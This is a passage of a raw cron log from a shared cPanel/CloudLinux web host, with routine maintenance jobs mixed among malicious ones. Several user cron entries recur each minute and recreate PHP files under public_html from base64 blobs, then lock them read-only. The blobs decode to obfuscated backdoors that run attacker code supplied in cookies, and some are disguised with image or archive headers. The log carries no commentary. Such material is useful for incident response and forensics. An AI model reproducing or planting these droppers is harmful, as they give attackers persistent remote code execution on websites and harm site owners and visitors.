bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:40:01 medusa CROND[8757]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:40:01 medusa CROND[8766]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:40:01 medusa CROND[8853]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 01:40:01 medusa CROND[8963]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 01:40:01 medusa CROND[8964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:40:01 medusa CROND[8967]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 01:40:01 medusa CROND[8965]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:40:01 medusa CROND[8968]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:40:01 medusa CROND[8966]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:40:01 medusa CROND[8972]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:40:01 medusa CROND[8970]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:40:01 medusa CROND[8984]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:40:01 medusa CROND[8986]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:40:01 medusa CROND[8987]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:40:01 medusa CROND[8971]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 01:40:01 medusa CROND[8991]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:40:01 medusa CROND[8985]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:40:01 medusa CROND[9002]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:40:01 medusa CROND[9005]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:40:01 medusa CROND[9008]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:40:01 medusa CROND[8980]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 01:40:01 medusa CROND[9010]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:40:01 medusa CROND[9011]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:40:01 medusa CROND[8995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:40:02 medusa CROND[8974]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 01:40:02 medusa CROND[8979]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:40:02 medusa CROND[8994]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:40:02 medusa CROND[9019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:41:01 medusa CROND[14648]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:41:01 medusa CROND[14649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:41:01 medusa CROND[14651]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:41:01 medusa CROND[14652]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:41:01 medusa CROND[14653]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:41:01 medusa CROND[14656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:41:01 medusa CROND[14659]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:41:01 medusa CROND[14657]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:41:01 medusa CROND[14660]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:41:01 medusa CROND[14662]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:41:01 medusa CROND[14663]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:41:01 medusa CROND[14664]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:41:01 medusa CROND[14665]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:41:01 medusa CROND[14661]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:42:01 medusa CROND[21005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:42:01 medusa CROND[21031]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
